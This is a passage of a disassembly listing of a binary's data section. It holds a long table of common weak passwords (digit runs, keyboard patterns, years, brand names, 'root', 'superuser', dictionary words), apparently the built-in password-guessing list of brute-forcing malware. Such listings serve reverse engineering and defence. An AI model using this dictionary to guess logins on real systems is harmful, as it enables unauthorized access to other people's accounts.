'oceanography',0 ; DATA XREF: .nsp0:0043BDB4o align 10h aPad db 'pad',0 ; DATA XREF: .nsp0:0043BDB8o aPam db 'pam',0 ; DATA XREF: .nsp0:0043BDBCo aPercolate db 'percolate',0 ; DATA XREF: .nsp0:0043BDC0o align 4 aPersimmon db 'persimmon',0 ; DATA XREF: .nsp0:0043BDC4o align 10h aPolynomial db 'polynomial',0 ; DATA XREF: .nsp0:0043BDC8o align 4 aPondering db 'pondering',0 ; DATA XREF: .nsp0:0043BDCCo align 4 aPrinceton db 'princeton',0 ; DATA XREF: .nsp0:0043BDD0o align 4 aProfessor db 'professor',0 ; DATA XREF: .nsp0:0043BDD4o align 10h aPub db 'pub',0 ; DATA XREF: .nsp0:0043BDD8o aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: .nsp0:0043BDDCo align 4 aRje db 'rje',0 ; DATA XREF: .nsp0:0043BDE0o aRochester db 'rochester',0 ; DATA XREF: .nsp0:0043BDE4o align 4 aSal db 'sal',0 ; DATA XREF: .nsp0:0043BDE8o aSheffield db 'sheffield',0 ; DATA XREF: .nsp0:0043BDECo align 4 aSignature db 'signature',0 ; DATA XREF: .nsp0:0043BDF0o align 10h aStephanie db 'stephanie',0 ; DATA XREF: .nsp0:0043BDF4o align 4 aStratford db 'stratford',0 ; DATA XREF: .nsp0:0043BDF8o align 4 aStuttgart db 'stuttgart',0 ; DATA XREF: .nsp0:0043BDFCo align 4 aSun_0 db 'sun',0 ; DATA XREF: .nsp0:0043BE00o aSuperstage db 'superstage',0 ; DATA XREF: .nsp0:0043BE04o align 4 aSuperuser db 'superuser',0 ; DATA XREF: .nsp0:0043BE08o align 10h aSupported db 'supported',0 ; DATA XREF: .nsp0:0043BE0Co align 4 aSys db 'sys',0 ; DATA XREF: .nsp0:0043BE10o aTangerine db 'tangerine',0 ; DATA XREF: .nsp0:0043BE14o align 4 aTelephone db 'telephone',0 ; DATA XREF: .nsp0:0043BE18o align 4 aTemptation db 'temptation',0 ; DATA XREF: .nsp0:0043BE1Co align 4 aTopography db 'topography',0 ; DATA XREF: .nsp0:0043BE20o align 10h aTty db 'tty',0 ; DATA XREF: .nsp0:0043BE24o aWholesale db 'wholesale',0 ; DATA XREF: .nsp0:0043BE28o align 10h aWilliamsburg db 'williamsburg',0 ; DATA XREF: .nsp0:0043BE2Co align 10h aWisconsin db 'wisconsin',0 ; DATA XREF: .nsp0:0043BE30o align 4 aXyz db 'xyz',0 ; DATA XREF: .nsp0:0043BE34o aYellowstone db 'yellowstone',0 ; DATA XREF: .nsp0:0043BE38o aZap db 'zap',0 ; DATA XREF: .nsp0:0043BE3Co aZimmerman db 'zimmerman',0 ; DATA XREF: .nsp0:0043BE40o align 4 asc_44052C: ; DATA XREF: .nsp0:0043BE44o unicode 0, <%>,0 asc_440530: ; DATA XREF: .nsp0:0043BE48o unicode 0, <!>,0 a@ db '!@',0 ; DATA XREF: .nsp0:0043BE4Co align 4 a@_0 db '!@#',0 ; DATA XREF: .nsp0:0043BE50o a@_1 db '!@#$%',0 ; DATA XREF: .nsp0:0043BE54o align 4 a@_2 db '!@#$%^',0 ; DATA XREF: .nsp0:0043BE58o align 4 a@_3 db '!@#$%^&',0 ; DATA XREF: .nsp0:0043BE5Co a@_4 db '!@#$%^&*',0 ; DATA XREF: .nsp0:0043BE60o align 10h asc_440560: ; DATA XREF: .nsp0:0043BE64o unicode 0, <#>,0 asc_440564 db '!!',0 ; DATA XREF: .nsp0:0043BE68o align 4 off_440568 dd offset loc_402121 ; DATA XREF: .nsp0:0043BE6Co dword_44056C dd 40h ; DATA XREF: .nsp0:0043BE70o dword_440570 dd 4040h ; DATA XREF: .nsp0:0043BE74o dword_440574 dd 2Bh ; DATA XREF: .nsp0:0043BE78o dword_440578 dd 2B2Bh ; DATA XREF: .nsp0:0043BE7Co dword_44057C dd 2B2B2Bh ; DATA XREF: .nsp0:0043BE80o dword_440580 dd 2B2B2B2Bh, 0 ; DATA XREF: .nsp0:0043BE84o dword_440588 dd 2Dh ; DATA XREF: .nsp0:0043BE88o dword_44058C dd 2D2Dh ; DATA XREF: .nsp0:0043BE8Co dword_440590 dd 2D2Dh ; DATA XREF: .nsp0:0043BE90o dword_440594 dd 2D2D2D2Dh, 0 ; DATA XREF: .nsp0:0043BE94o dword_44059C dd 2B2Dh ; DATA XREF: .nsp0:0043BE98o dword_4405A0 dd 2B2B2D2Dh, 0 ; DATA XREF: .nsp0:0043BE9Co dword_4405A8 dd 302D3Dh ; DATA XREF: .nsp0:0043BEA0o dword_4405AC dd 2B393837h, 0 ; DATA XREF: .nsp0:0043BEA4o dword_4405B4 dd 2B363534h, 0 ; DATA XREF: .nsp0:0043BEA8o dword_4405BC dd 24h ; DATA XREF: .nsp0:0043BEACo dword_4405C0 dd 2424h ; DATA XREF: .nsp0:0043BEB0o dword_4405C4 dd 242424h ; DATA XREF: .nsp0:0043BEB4o dword_4405C8 dd 255E262Ah, 21402324h, 0 ; DATA XREF: .nsp0:0043BEB8o dword_4405D4 dd 24255E26h, 214023h ; DATA XREF: .nsp0:0043BEBCo dword_4405DC dd 2324255Eh, 2140h ; DATA XREF: .nsp0:0043BEC0o dword_4405E4 dd 40232425h, 21h ; DATA XREF: .nsp0:0043BEC4o dword_4405EC dd 21402324h, 0 ; DATA XREF: .nsp0:0043BEC8o dword_4405F4 dd 214023h ; DATA XREF: .nsp0:0043BECCo dword_4405F8 dd 2140h ; DATA XREF: .nsp0:0043BED0o dword_4405FC dd 30h ; DATA XREF: .nsp0:0043BED4o dword_440600 dd 3030h ; DATA XREF: .nsp0:0043BED8o dword_440604 dd 303030h ; DATA XREF: .nsp0:0043BEDCo a0000_0 db '0000',0 ; DATA XREF: .nsp0:0043BEE0o align 10h a00000_0 db '00000',0 ; DATA XREF: .nsp0:0043BEE4o align 4 a000000_0 db '000000',0 ; DATA XREF: .nsp0:0043BEE8o align 10h a00000000_0 db '00000000',0 ; DATA XREF: .nsp0:0043BEECo align 4 a000000000 db '000000000',0 ; DATA XREF: .nsp0:0043BEF0o align 4 a0000000000 db '0000000000',0 ; DATA XREF: .nsp0:0043BEF4o align 4 asc_440644: ; DATA XREF: .nsp0:0043BEF8o unicode 0, <*>,0 asc_440648 db '**',0 ; DATA XREF: .nsp0:0043BEFCo align 4 asc_44064C db '***',0 ; DATA XREF: .nsp0:0043BF00o asc_440650 db '****',0 ; DATA XREF: .nsp0:0043BF04o align 4 asc_440658 db '*****',0 ; DATA XREF: .nsp0:0043BF08o align 10h asc_440660 db '******',0 ; DATA XREF: .nsp0:0043BF0Co align 4 asc_440668 db '*******',0 ; DATA XREF: .nsp0:0043BF10o asc_440670 db '********',0 ; DATA XREF: .nsp0:0043BF14o align 4 asc_44067C db '*********',0 ; DATA XREF: .nsp0:0043BF18o align 4 a001_0 db '001',0 ; DATA XREF: .nsp0:0043BF1Co a002 db '002',0 ; DATA XREF: .nsp0:0043BF20o a003 db '003',0 ; DATA XREF: .nsp0:0043BF24o a004 db '004',0 ; DATA XREF: .nsp0:0043BF28o a005_0 db '005',0 ; DATA XREF: .nsp0:0043BF2Co a006 db '006',0 ; DATA XREF: .nsp0:0043BF30o a007 db '007',0 ; DATA XREF: .nsp0:0043BF34o a008 db '008',0 ; DATA XREF: .nsp0:0043BF38o a009 db '009',0 ; DATA XREF: .nsp0:0043BF3Co a010 db '010',0 ; DATA XREF: .nsp0:0043BF40o a0wn3d db '0wn3d',0 ; DATA XREF: .nsp0:0043BF44o align 4 a0wned_0 db '0wned',0 ; DATA XREF: .nsp0:0043BF48o align 10h a1_0: ; DATA XREF: .nsp0:0043BF4Co unicode 0, <1>,0 a11 db '11',0 ; DATA XREF: .nsp0:0043BF50o align 4 a111_0 db '111',0 ; DATA XREF: .nsp0:0043BF54o a1111 db '1111',0 ; DATA XREF: .nsp0:0043BF58o align 4 a11111 db '11111',0 ; DATA XREF: .nsp0:0043BF5Co align 4 a111111 db '111111',0 ; DATA XREF: .nsp0:0043BF60o align 4 a1111111 db '1111111',0 ; DATA XREF: .nsp0:0043BF64o a11111111_0 db '11111111',0 ; DATA XREF: .nsp0:0043BF68o align 4 a111111111 db '111111111',0 ; DATA XREF: .nsp0:0043BF6Co align 4 a1111111111 db '1111111111',0 ; DATA XREF: .nsp0:0043BF70o align 10h a2: ; DATA XREF: .nsp0:0043BF74o unicode 0, <2>,0 a22 db '22',0 ; DATA XREF: .nsp0:0043BF78o align 4 a222 db '222',0 ; DATA XREF: .nsp0:0043BF7Co a2222 db '2222',0 ; DATA XREF: .nsp0:0043BF80o align 4 a22222 db '22222',0 ; DATA XREF: .nsp0:0043BF84o align 4 a222222 db '222222',0 ; DATA XREF: .nsp0:0043BF88o align 4 a2222222 db '2222222',0 ; DATA XREF: .nsp0:0043BF8Co a22222222 db '22222222',0 ; DATA XREF: .nsp0:0043BF90o align 4 a222222222 db '222222222',0 ; DATA XREF: .nsp0:0043BF94o align 4 a2222222222 db '2222222222',0 ; DATA XREF: .nsp0:0043BF98o align 10h a3: ; DATA XREF: .nsp0:0043BF9Co unicode 0, <3>,0 a33 db '33',0 ; DATA XREF: .nsp0:0043BFA0o align 4 a333 db '333',0 ; DATA XREF: .nsp0:0043BFA4o a3333 db '3333',0 ; DATA XREF: .nsp0:0043BFA8o align 4 a33333 db '33333',0 ; DATA XREF: .nsp0:0043BFACo align 4 a333333 db '333333',0 ; DATA XREF: .nsp0:0043BFB0o align 4 a3333333 db '3333333',0 ; DATA XREF: .nsp0:0043BFB4o a33333333 db '33333333',0 ; DATA XREF: .nsp0:0043BFB8o align 4 a333333333 db '333333333',0 ; DATA XREF: .nsp0:0043BFBCo align 4 a3333333333 db '3333333333',0 ; DATA XREF: .nsp0:0043BFC0o align 10h a4: ; DATA XREF: .nsp0:0043BFC4o unicode 0, <4>,0 a44 db '44',0 ; DATA XREF: .nsp0:0043BFC8o align 4 a444 db '444',0 ; DATA XREF: .nsp0:0043BFCCo a4444 db '4444',0 ; DATA XREF: .nsp0:0043BFD0o align 4 a44444 db '44444',0 ; DATA XREF: .nsp0:0043BFD4o align 4 a444444 db '444444',0 ; DATA XREF: .nsp0:0043BFD8o align 4 a4444444 db '4444444',0 ; DATA XREF: .nsp0:0043BFDCo a44444444 db '44444444',0 ; DATA XREF: .nsp0:0043BFE0o align 4 a444444444 db '444444444',0 ; DATA XREF: .nsp0:0043BFE4o align 4 a4444444444 db '4444444444',0 ; DATA XREF: .nsp0:0043BFE8o align 10h a5: ; DATA XREF: .nsp0:0043BFECo unicode 0, <5>,0 a55 db '55',0 ; DATA XREF: .nsp0:0043BFF0o align 4 a555 db '555',0 ; DATA XREF: .nsp0:0043BFF4o a5555 db '5555',0 ; DATA XREF: .nsp0:0043BFF8o align 4 a55555 db '55555',0 ; DATA XREF: .nsp0:0043BFFCo align 4 a555555 db '555555',0 ; DATA XREF: .nsp0:0043C000o align 4 a5555555 db '5555555',0 ; DATA XREF: .nsp0:0043C004o a55555555 db '55555555',0 ; DATA XREF: .nsp0:0043C008o align 4 a555555555 db '555555555',0 ; DATA XREF: .nsp0:0043C00Co align 4 a5555555555 db '5555555555',0 ; DATA XREF: .nsp0:0043C010o align 10h a6: ; DATA XREF: .nsp0:0043C014o unicode 0, <6>,0 a66 db '66',0 ; DATA XREF: .nsp0:0043C018o align 4 a666 db '666',0 ; DATA XREF: .nsp0:0043C01Co a6666 db '6666',0 ; DATA XREF: .nsp0:0043C020o align 4 a66666 db '66666',0 ; DATA XREF: .nsp0:0043C024o align 4 a666666 db '666666',0 ; DATA XREF: .nsp0:0043C028o align 4 a6666666 db '6666666',0 ; DATA XREF: .nsp0:0043C02Co a66666666 db '66666666',0 ; DATA XREF: .nsp0:0043C030o align 4 a666666666 db '666666666',0 ; DATA XREF: .nsp0:0043C034o align 4 a6666666666 db '6666666666',0 ; DATA XREF: .nsp0:0043C038o align 10h a7: ; DATA XREF: .nsp0:0043C03Co unicode 0, <7>,0 a77 db '77',0 ; DATA XREF: .nsp0:0043C040o align 4 a777 db '777',0 ; DATA XREF: .nsp0:0043C044o a7777 db '7777',0 ; DATA XREF: .nsp0:0043C048o align 4 a77777 db '77777',0 ; DATA XREF: .nsp0:0043C04Co align 4 a777777 db '777777',0 ; DATA XREF: .nsp0:0043C050o align 4 a7777777 db '7777777',0 ; DATA XREF: .nsp0:0043C054o a77777777 db '77777777',0 ; DATA XREF: .nsp0:0043C058o align 4 a777777777 db '777777777',0 ; DATA XREF: .nsp0:0043C05Co align 4 a7777777777 db '7777777777',0 ; DATA XREF: .nsp0:0043C060o align 10h a8: ; DATA XREF: .nsp0:0043C064o unicode 0, <8>,0 a88 db '88',0 ; DATA XREF: .nsp0:0043C068o align 4 a888 db '888',0 ; DATA XREF: .nsp0:0043C06Co a8888 db '8888',0 ; DATA XREF: .nsp0:0043C070o align 4 a88888 db '88888',0 ; DATA XREF: .nsp0:0043C074o align 4 a888888 db '888888',0 ; DATA XREF: .nsp0:0043C078o align 4 a8888888 db '8888888',0 ; DATA XREF: .nsp0:0043C07Co a88888888_0 db '88888888',0 ; DATA XREF: .nsp0:0043C080o align 4 a888888888 db '888888888',0 ; DATA XREF: .nsp0:0043C084o align 4 a8888888888 db '8888888888',0 ; DATA XREF: .nsp0:0043C088o align 10h a9: ; DATA XREF: .nsp0:0043C08Co unicode 0, <9>,0 a99 db '99',0 ; DATA XREF: .nsp0:0043C090o align 4 a999 db '999',0 ; DATA XREF: .nsp0:0043C094o a9999 db '9999',0 ; DATA XREF: .nsp0:0043C098o align 4 a99999 db '99999',0 ; DATA XREF: .nsp0:0043C09Co align 4 a999999 db '999999',0 ; DATA XREF: .nsp0:0043C0A0o align 4 a9999999 db '9999999',0 ; DATA XREF: .nsp0:0043C0A4o a99999999 db '99999999',0 ; DATA XREF: .nsp0:0043C0A8o align 4 a999999999 db '999999999',0 ; DATA XREF: .nsp0:0043C0ACo align 4 a9999999999 db '9999999999',0 ; DATA XREF: .nsp0:0043C0B0o align 10h a110 db '110',0 ; DATA XREF: .nsp0:0043C0B4o a7410 db '7410',0 ; DATA XREF: .nsp0:0043C0B8o align 4 a0147 db '0147',0 ; DATA XREF: .nsp0:0043C0BCo align 4 a1122 db '1122',0 ; DATA XREF: .nsp0:0043C0C0o align 4 a456 db '456',0 ; DATA XREF: .nsp0:0043C0C4o a654 db '654',0 ; DATA XREF: .nsp0:0043C0C8o a789 db '789',0 ; DATA XREF: .nsp0:0043C0CCo a987 db '987',0 ; DATA XREF: .nsp0:0043C0D0o a8520 db '8520',0 ; DATA XREF: .nsp0:0043C0D4o align 4 a0258 db '0258',0 ; DATA XREF: .nsp0:0043C0D8o align 4 a1020 db '1020',0 ; DATA XREF: .nsp0:0043C0DCo align 4 a12_0 db '12',0 ; DATA XREF: .nsp0:0043C0E0o align 4 a121 db '121',0 ; DATA XREF: .nsp0:0043C0E4o a121212 db '121212',0 ; DATA XREF: .nsp0:0043C0E8o align 4 a123_0 db '123',0 ; DATA XREF: .nsp0:0043C0ECo a123123 db '123123',0 ; DATA XREF: .nsp0:0043C0F0o align 10h a1234_0 db '1234',0 ; DATA XREF: .nsp0:0043C0F4o align 4 a12345_0 db '12345',0 ; DATA XREF: .nsp0:0043C0F8o align 10h a123456_0 db '123456',0 ; DATA XREF: .nsp0:0043C0FCo align 4 a1234567_0 db '1234567',0 ; DATA XREF: .nsp0:0043C100o a12345678_0 db '12345678',0 ; DATA XREF: .nsp0:0043C104o align 4 a123456789_0 db '123456789',0 ; DATA XREF: .nsp0:0043C108o align 4 a12346 db '12346',0 ; DATA XREF: .nsp0:0043C10Co align 10h a123467 db '123467',0 ; DATA XREF: .nsp0:0043C110o align 4 a1234678 db '1234678',0 ; DATA XREF: .nsp0:0043C114o a12346789 db '12346789',0 ; DATA XREF: .nsp0:0043C118o align 4 a123467890 db '123467890',0 ; DATA XREF: .nsp0:0043C11Co align 4 a1qwer db '1qwer',0 ; DATA XREF: .nsp0:0043C120o align 10h a1abc db '1abc',0 ; DATA XREF: .nsp0:0043C124o align 4 a1asd db '1asd',0 ; DATA XREF: .nsp0:0043C128o align 10h a1qwe db '1qwe',0 ; DATA XREF: .nsp0:0043C12Co align 4 a12qwer db '12qwer',0 ; DATA XREF: .nsp0:0043C130o align 10h a12abc db '12abc',0 ; DATA XREF: .nsp0:0043C134o align 4 a12asd db '12asd',0 ; DATA XREF: .nsp0:0043C138o align 10h a12qwe db '12qwe',0 ; DATA XREF: .nsp0:0043C13Co align 4 a123qwer db '123qwer',0 ; DATA XREF: .nsp0:0043C140o a123abc db '123abc',0 ; DATA XREF: .nsp0:0043C144o align 4 a123asd db '123asd',0 ; DATA XREF: .nsp0:0043C148o align 10h a123qwe_0 db '123qwe',0 ; DATA XREF: .nsp0:0043C14Co align 4 a1234qwer db '1234qwer',0 ; DATA XREF: .nsp0:0043C150o align 4 a1234abc db '1234abc',0 ; DATA XREF: .nsp0:0043C154o a1234asd db '1234asd',0 ; DATA XREF: .nsp0:0043C158o a1234qwe db '1234qwe',0 ; DATA XREF: .nsp0:0043C15Co a1952 db '1952',0 ; DATA XREF: .nsp0:0043C160o align 4 a1953 db '1953',0 ; DATA XREF: .nsp0:0043C164o align 4 a1954 db '1954',0 ; DATA XREF: .nsp0:0043C168o align 4 a1955 db '1955',0 ; DATA XREF: .nsp0:0043C16Co align 4 a1956 db '1956',0 ; DATA XREF: .nsp0:0043C170o align 4 a1957 db '1957',0 ; DATA XREF: .nsp0:0043C174o align 4 a1958 db '1958',0 ; DATA XREF: .nsp0:0043C178o align 4 a1959 db '1959',0 ; DATA XREF: .nsp0:0043C17Co align 4 a1960 db '1960',0 ; DATA XREF: .nsp0:0043C180o align 4 a1961 db '1961',0 ; DATA XREF: .nsp0:0043C184o align 4 a1962 db '1962',0 ; DATA XREF: .nsp0:0043C188o align 4 a1963 db '1963',0 ; DATA XREF: .nsp0:0043C18Co align 4 a1964 db '1964',0 ; DATA XREF: .nsp0:0043C190o align 4 a1965 db '1965',0 ; DATA XREF: .nsp0:0043C194o align 4 a1966 db '1966',0 ; DATA XREF: .nsp0:0043C198o align 4 a1967 db '1967',0 ; DATA XREF: .nsp0:0043C19Co align 4 a1968 db '1968',0 ; DATA XREF: .nsp0:0043C1A0o align 4 a1969 db '1969',0 ; DATA XREF: .nsp0:0043C1A4o align 4 a1970 db '1970',0 ; DATA XREF: .nsp0:0043C1A8o align 4 a1971 db '1971',0 ; DATA XREF: .nsp0:0043C1ACo align 4 a1972 db '1972',0 ; DATA XREF: .nsp0:0043C1B0o align 4 a1973 db '1973',0 ; DATA XREF: .nsp0:0043C1B4o align 4 a1974 db '1974',0 ; DATA XREF: .nsp0:0043C1B8o align 4 a1975 db '1975',0 ; DATA XREF: .nsp0:0043C1BCo align 4 a1976 db '1976',0 ; DATA XREF: .nsp0:0043C1C0o align 4 a1977 db '1977',0 ; DATA XREF: .nsp0:0043C1C4o align 4 a1978 db '1978',0 ; DATA XREF: .nsp0:0043C1C8o align 4 a1979 db '1979',0 ; DATA XREF: .nsp0:0043C1CCo align 4 a1980 db '1980',0 ; DATA XREF: .nsp0:0043C1D0o align 4 a1981 db '1981',0 ; DATA XREF: .nsp0:0043C1D4o align 4 a1982 db '1982',0 ; DATA XREF: .nsp0:0043C1D8o align 4 a1983 db '1983',0 ; DATA XREF: .nsp0:0043C1DCo align 4 a1984 db '1984',0 ; DATA XREF: .nsp0:0043C1E0o align 4 a1985 db '1985',0 ; DATA XREF: .nsp0:0043C1E4o align 4 a1986 db '1986',0 ; DATA XREF: .nsp0:0043C1E8o align 4 a1987 db '1987',0 ; DATA XREF: .nsp0:0043C1ECo align 4 a1988 db '1988',0 ; DATA XREF: .nsp0:0043C1F0o align 4 a1989 db '1989',0 ; DATA XREF: .nsp0:0043C1F4o align 4 a1990 db '1990',0 ; DATA XREF: .nsp0:0043C1F8o align 4 a1991 db '1991',0 ; DATA XREF: .nsp0:0043C1FCo align 4 a1992 db '1992',0 ; DATA XREF: .nsp0:0043C200o align 4 a1993 db '1993',0 ; DATA XREF: .nsp0:0043C204o align 4 a1994 db '1994',0 ; DATA XREF: .nsp0:0043C208o align 4 a1995 db '1995',0 ; DATA XREF: .nsp0:0043C20Co align 4 a1996 db '1996',0 ; DATA XREF: .nsp0:0043C210o align 4 a1997 db '1997',0 ; DATA XREF: .nsp0:0043C214o align 4 a1998 db '1998',0 ; DATA XREF: .nsp0:0043C218o align 4 a1999 db '1999',0 ; DATA XREF: .nsp0:0043C21Co align 4 a2000 db '2000',0 ; DATA XREF: .nsp0:0043C220o align 4 a2001 db '2001',0 ; DATA XREF: .nsp0:0043C224o align 4 a2002 db '2002',0 ; DATA XREF: .nsp0:0043C228o align 4 a2003_0 db '2003',0 ; DATA XREF: .nsp0:0043C22Co align 4 a2004 db '2004',0 ; DATA XREF: .nsp0:0043C230o align 4 a2005 db '2005',0 ; DATA XREF: .nsp0:0043C234o align 4 a2006 db '2006',0 ; DATA XREF: .nsp0:0043C238o align 4 a2600 db '2600',0 ; DATA XREF: .nsp0:0043C23Co align 4 a321 db '321',0 ; DATA XREF: .nsp0:0043C240o a4321 db '4321',0 ; DATA XREF: .nsp0:0043C244o align 4 a54321_0 db '54321',0 ; DATA XREF: .nsp0:0043C248o align 10h a654321_0 db '654321',0 ; DATA XREF: .nsp0:0043C24Co align 4 a7654321 db '7654321',0 ; DATA XREF: .nsp0:0043C250o aSony db 'sony',0 ; DATA XREF: .nsp0:0043C254o align 4 aSamsung_0 db 'SAMSUNG',0 ; DATA XREF: .nsp0:0043C258o aSamsung db 'samsung',0 ; DATA XREF: .nsp0:0043C25Co aSony_0 db 'SONY',0 ; DATA XREF: .nsp0:0043C260o align 10h aMaster_0 db 'MASTER',0 ; DATA XREF: .nsp0:0043C264o align 4 aMicrosoft db 'MICROSOFT',0 ; DATA XREF: .nsp0:0043C268o align 4 aDisc db 'DISC',0 ; DATA XREF: .nsp0:0043C26Co align 4 aCreative db 'CREATIVE',0 ; DATA XREF: .nsp0:0043C270o align 4 aSex_0 db 'SEX',0 ; DATA XREF: .nsp0:0043C274o aNokia db 'NOKIA',0 ; DATA XREF: .nsp0:0043C278o align 4 aXp db 'XP',0 ; DATA XREF: .nsp0:0043C27Co align 4 aA_1: ; DATA XREF: .nsp0:0043C280o unicode 0, <a>,0 aAa_0 db 'aa',0 ; DATA XREF: .nsp0:0043C284o align 10h aAaa db 'aaa',0 ; DATA XREF: .nsp0:0043C288o aAaaa db 'aaaa',0 ; DATA XREF: .nsp0:0043C28Co align 4 aAaaaa db 'aaaaa',0 ; DATA XREF: .nsp0:0043C290o align 4 aAaaaaa db 'aaaaaa',0 ; DATA XREF: .nsp0:0043C294o align 4 aAaaaaaa db 'aaaaaaa',0 ; DATA XREF: .nsp0:0043C298o aAaaaaaaa db 'aaaaaaaa',0 ; DATA XREF: .nsp0:0043C29Co align 10h aAaaaaaaaa db 'aaaaaaaaa',0 ; DATA XREF: .nsp0:0043C2A0o align 4 aPassword_0 db 'Password',0 ; DATA XREF: .nsp0:0043C2A4o align 4 aPassword1 db 'password1',0 ; DATA XREF: .nsp0:0043C2A8o align 4 aQw db 'qw',0 ; DATA XREF: .nsp0:0043C2ACo align 4 aQwe db 'qwe',0 ; DATA XREF: .nsp0:0043C2B0o aQwer db 'qwer',0 ; DATA XREF: .nsp0:0043C2B4o align 4 aQwert_0 db 'qwert',0 ; DATA XREF: .nsp0:0043C2B8o align 4 aQwerty_0 db 'qwerty',0 ; DATA XREF: .nsp0:0043C2BCo align 4 aQwertyu db 'qwertyu',0 ; DATA XREF: .nsp0:0043C2C0o aQwertyui db 'qwertyui',0 ; DATA XREF: .nsp0:0043C2C4o align 4 aQwertyuio db 'qwertyuio',0 ; DATA XREF: .nsp0:0043C2C8o align 4 aQwertyuiop db 'qwertyuiop',0 ; DATA XREF: .nsp0:0043C2CCo align 10h aRoot_2 db 'root',0 ; DATA XREF: .nsp0:0043C2D0o align 4 aServer_5 db 'server',0 ; DATA XREF: .nsp0:0043C2D4o align 10h aService db 'service',0 ; DATA XREF: .nsp0:0043C2D8o aServers db 'servers',0 ; DATA XREF: .nsp0:0043C2DCo aServices db 'services',0 ; DATA XREF: .nsp0:0043C2E0o align 4 aSystem db 'system',0 ; DATA XREF: .nsp0:0043C2E4o align 4 aSystem_2 db 'SYSTEM',0 ; DATA XREF: .nsp0:0043C2E8o align 4 off_440DFC dd offset byte_494843 ; DATA XREF: .nsp0:0043C2ECo dword_440E00 dd 696863h ; DATA XREF: .nsp0:0043C2F0o dword_440E04 dd 726F6Bh ; DATA XREF: .nsp0:0043C2F4o aTiger_0 db 'tiger',0 ; DATA XREF: .nsp0:0043C2F8o align 10h aKor db 'KOR',0 ; DATA XREF: .nsp0:0043C2FCo aToyota_0 db 'TOYOTA',0 ; DATA XREF: .nsp0:0043C300o align 4 aToyota_1 db 'toyota',0 ; DATA XREF: .nsp0:0043C304o align 4 asc_440E24: ; DATA XREF: .nsp0:0043C308o unicode 0, <x>,0 aXx_2 db 'xx',0 ; DATA XREF: .nsp0:0043C30Co align 4 aXxx_0 db 'xxx',0 ; DATA XREF: .nsp0:0043C310o aXxxx_0 db 'xxxx',0 ; DATA XREF: .nsp0:0043C314o align 4 aXxxxx_0 db 'xxxxx',0 ; DATA XREF: .nsp0:0043C318o align 10h aXxxxxx_0 db 'xxxxxx',0 ; DATA XREF: .nsp0:0043C31Co align 4 aXxxxxxx_0 db 'xxxxxxx',0 ; DATA XREF: .nsp0:0043C320o aXxxxxxxx_0 db 'xxxxxxxx',0 ; DATA XREF: .nsp0:0043C324o align 4 aXxxxxxxxx_0 db 'xxxxxxxxx',0 ; DATA XREF: .nsp0:0043C328o align 4 aXyz_0 db 'xyz',0 ; DATA XREF: .nsp0:0043C32Co aYaco_0 db 'yaco',0 ; DATA XREF: .nsp0:0043C330o align 4 aYang_0 db 'yang',0 ; DATA XREF: .nsp0:0043C334o align 4 aKonyang db 'konyang',0 ; DATA XREF: .nsp0:0043C338o aZ: ; DATA XREF: .nsp0:0043C33Co unicode 0, <z>,0 aZx db 'zx',0 ; DATA XREF: .nsp0:0043C340o align 4 aZxc db 'zxc',0 ; DATA XREF: .nsp0:0043C344o aZxcv db 'zxcv',0 ; DATA XREF: .nsp0:0043C348o align 4 aZxcvb db 'zxcvb',0 ; DATA XREF: .nsp0:0043C34Co align 10h aZxcvbn db 'zxcvbn',0 ; DATA XREF: .nsp0:0043C350o align 4 aZxcvbnm db 'zxcvbnm',0 ; DATA XREF: .nsp0:0043C354o aAs db 'as',0 ; DATA XREF: .nsp0:0043C358o align 4 aAsd_0 db 'asd',0 ; DATA XREF: .nsp0:0043C35Co aAsdf db 'asdf',0 ; DATA XREF: .nsp0:0043C360o align 10h aAsdfg db 'asdfg',0 ; DATA XREF: .nsp0:0043C364o align 4 aAsdfgh db 'asdfgh',0 ; DATA XREF: .nsp0:0043C368o align 10h aAsdfghj db 'asdfghj',0 ; DATA XREF: .nsp0:0043C36Co aAsdfghjk db 'asdfghjk',0 ; DATA XREF: .nsp0:0043C370o align 4 aAsdfghjkl db 'asdfghjkl',0 ; DATA XREF: .nsp0:0043C374o align 10h aQaz db 'qaz',0 ; DATA XREF: .nsp0:0043C378o aWsx db 'wsx',0 ; DATA XREF: .nsp0:0043C37Co aEdc db 'edc',0 ; DATA XREF: .nsp0:0043C380o aRfv db 'rfv',0 ; DATA XREF: .nsp0:0043C384o aB: ; DATA XREF: .nsp0:0043C388o unicode 0, <b>,0 aBb db 'bb',0 ; DATA XREF: .nsp0:0043C38Co align 4 aBbb db 'bbb',0 ; DATA XREF: .nsp0:0043C390o aBbbb db 'bbbb',0 ; DATA XREF: .nsp0:0043C394o align 4 aBbbbb db 'bbbbb',0 ; DATA XREF: .nsp0:0043C398o align 4 aBbbbbb db 'bbbbbb',0 ; DATA XREF: .nsp0:0043C39Co align 4 aBbbbbbb db 'bbbbbbb',0 ; DATA XREF: .nsp0:0043C3A0o aBbbbbbbb db 'bbbbbbbb',0 ; DATA XREF: .nsp0:0043C3A4o align 4 aBbbbbbbbb db 'bbbbbbbbb',0 ; DATA XREF: .nsp0:0043C3A8o align 4 aC_0: ; DATA XREF: .nsp0:0043C3ACo unicode 0, <c>,0 aCc db 'cc',0 ; DATA XREF: .nsp0:0043C3B0o align 4 aCcc db 'ccc',0 ; DATA XREF: .nsp0:0043C3B4o aCccc_0 db 'cccc',0 ; DATA XREF: .nsp0:0043C3B8o align 4 aCcccc db 'ccccc',0 ; DATA XREF: .nsp0:0043C3BCo align 10h aCccccc db 'cccccc',0 ; DATA XREF: .nsp0:0043C3C0o align 4 aCcccccc db 'ccccccc',0 ; DATA XREF: .nsp0:0043C3C4o aCccccccc db 'cccccccc',0 ; DATA XREF: .nsp0:0043C3C8o align 4 aCcccccccc db 'ccccccccc',0 ; DATA XREF: .nsp0:0043C3CCo align 4 aD: ; DATA XREF: .nsp0:0043C3D0o unicode 0, <d>,0 aDd_0 db 'dd',0 ; DATA XREF: .nsp0:0043C3D4o align 10h aDdd db 'ddd',0 ; DATA XREF: .nsp0:0043C3D8o aDddd db 'dddd',0 ; DATA XREF: .nsp0:0043C3DCo align 4 aDdddd db 'ddddd',0 ; DATA XREF: .nsp0:0043C3E0o align 4 aF: ; DATA XREF: .nsp0:0043C3E4o unicode 0, <f>,0 aFf db 'ff',0 ; DATA XREF: .nsp0:0043C3E8o align 4 aFff db 'fff',0 ; DATA XREF: .nsp0:0043C3ECo aFfff db 'ffff',0 ; DATA XREF: .nsp0:0043C3F0o align 4 aFffff db 'fffff',0 ; DATA XREF: .nsp0:0043C3F4o align 10h aE_0: ; DATA XREF: .nsp0:0043C3F8o unicode 0, <e>,0 aEe db 